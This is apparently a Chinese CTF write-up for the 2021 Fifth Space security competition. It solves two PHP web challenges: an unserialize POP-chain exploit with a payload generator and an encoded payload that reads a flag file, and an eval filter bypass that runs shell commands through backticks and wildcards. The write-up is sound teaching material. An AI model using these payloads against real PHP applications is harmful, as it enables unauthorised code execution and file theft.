2021 第五空间智能安全大赛 WriteUp

🏛️ 组织架构

  • 主办单位：天津市委网信办、天津市总工会

  • 承办单位：三六零集团（360政企安全集团）、天津滨海高新区总工会

  • 协办单位：包括国家工业信息安全发展研究中心、南开大学网络空间安全学院、天津大学网络安全学院等多家机构

📅 赛程与赛制

  • 报名时间：2021 年 8 月 27 日至 9 月 12 日

  • 线上初赛：2021 年 9 月 16 日举行，采用 CTF（解题）模式

  • 线下决赛：2021 年 10 月 10 日在天津举行，采用 A&D（攻防对抗）模式

  • 颁奖典礼：2021 年 10 月 11 日

📊 赛事规模

  • 本届大赛共吸引了 420 支战队、2511 名选手报名参赛

  • 比赛分为学生组和社企组两个赛道

  • 初赛每个组别各有 18 支队伍晋级，另有 4 支特邀队伍，共计 40 支队伍入围线下决赛

  • 大赛总奖金池丰厚，两个组别的特等奖奖金均高达 10 万元

Web

pklovecloud（POP 链）

pasted_1784567443473_trezgz.png

用户可控参数 pks 被直接 unserialize()，随后又被 echo，因此会触发对象的 __toString() 魔术方法

1
2
3
4
5
if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
}

代码中有三个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
class pkshow 
{
    function echo_name() {
        return "Pk very safe^.^";
    }
}

class acp 
{
    protected $cinder;
    public $neutron;
    public $nova;

    function __construct() {
        $this->cinder = new pkshow;
    }

    function __toString() {
        if (isset($this->cinder))
            return $this->cinder->echo_name();
    }
}

class ace
{
    public $filename;
    public $openstack;
    public $docker;

    function echo_name() {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if ($this->openstack->neutron === $this->openstack->nova)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file)) {
                return file_get_contents($file);
            } else {
                return "keystone lost~";
            }
        }
    }
}

入口是 echo $logData;，如果 $logData 是 acp 对象，就会触发 acp::__toString()

acp::__toString() 里会调用 $this->cinder->echo_name();

正常情况下，$cinder 是 pkshow 对象，只会返回 Pk very safe^.^

但是反序列化时，构造函数 __construct() 不会自动执行，而且对象属性可以由序列化字符串控制

所以我们可以让 acp::$cinder = new ace();

进入 ace::echo_name() 后，代码是

1
2
3
4
5
6
7
8
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;

if ($this->openstack->neutron === $this->openstack->nova)
{
    $file = "./{$this->filename}";
    return file_get_contents($file);
}

有一个关键变量 $heat，它没有定义，所以值为 NULL，因此

1
$this->openstack->neutron = NULL;

条件判断变成

1
NULL === $this->openstack->nova

整体 POP 链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
GET pks
  ↓
unserialize(pks)
  ↓
得到 acp 对象
  ↓
echo acp 对象
  ↓
触发 acp::__toString()
  ↓
调用 $this->cinder->echo_name()
  ↓
把 cinder 控制为 ace 对象
  ↓
触发 ace::echo_name()
  ↓
内部 unserialize($docker)
  ↓
构造 openstack，使 neutron === nova
  ↓
读取 ./flag.php

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class acp 
{   
    public $cinder;  
    public $neutron;
    public $nova;
}

class ace
{    
    public $filename;     
    public $openstack;
    public $docker;
}

$b = new acp;
$c = new ace;

$b->cinder = $c;
$c->filename = "/flag.php";

// 让 ace::echo_name() 中的 unserialize($docker)
// 返回一个 nova = NULL 的对象
$c->docker = 'O:8:"stdClass":1:{s:4:"nova";N;}';

echo urlencode(serialize($b));
?>

URL 编码

1
?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A6%3A%22cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Fflag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A0%3A%22%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

hate_php（反引号 RCE + 短 echo 标签绕过 + 通配符绕过）

pasted_1787752612159_qnktqp.png

打开首页直接给了源码

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
        die('fighting!');
    }
    eval($code);
}

过 WAF，也就是不能出现

1
2
3
4
5
6
A-Z
a-z
0-9
_
$
@

PHP 里反引号

1
echo `id`;

等价于执行系统命令并输出结果，类似

1
echo shell_exec("id");

构造 Payload 如下

1
2
3
4
5
6
?><?=`command`?>

?>        // 结束当前 PHP 代码块
<?=       // PHP 短 echo 标签，相当于 <?php echo
`command` // 执行 shell 命令
?>        // 结束短标签

再配合通配符构造最终 Payload

1
?><?=`/???/??? /????`?>

等同于

1
<?php echo `/bin/cat /flag`; ?>

pasted_1787752589004_ld9t7s.png